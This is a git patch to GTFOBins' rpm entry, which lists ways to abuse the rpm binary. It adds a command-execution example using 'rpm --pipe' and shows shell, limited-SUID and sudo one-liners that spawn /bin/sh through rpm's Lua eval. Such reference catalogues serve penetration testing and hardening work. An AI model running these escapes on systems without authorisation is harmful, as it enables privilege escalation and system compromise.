From 565ebae8809c0d53a2b438b72375d9397556f207 Mon Sep 17 00:00:00 2001 From: M4x Date: Wed, 7 Apr 2021 16:30:36 +0800 Subject: [PATCH] add `command` for `rpm` and delete unnecessary prefix --- _gtfobins/rpm.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/_gtfobins/rpm.md b/_gtfobins/rpm.md index ba8dafe..433fd38 100644 --- a/_gtfobins/rpm.md +++ b/_gtfobins/rpm.md @@ -2,8 +2,12 @@ functions: shell: - code: rpm --eval '%{lua:os.execute("/bin/sh")}' + command: + - code: | + rpm --pipe '/bin/id > /tmp/result' + cat /tmp/result limited-suid: - - code: ./rpm --eval '%{lua:os.execute("/bin/sh")}' + - code: rpm --eval '%{lua:os.execute("/bin/sh")}' sudo: - code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}' - description: |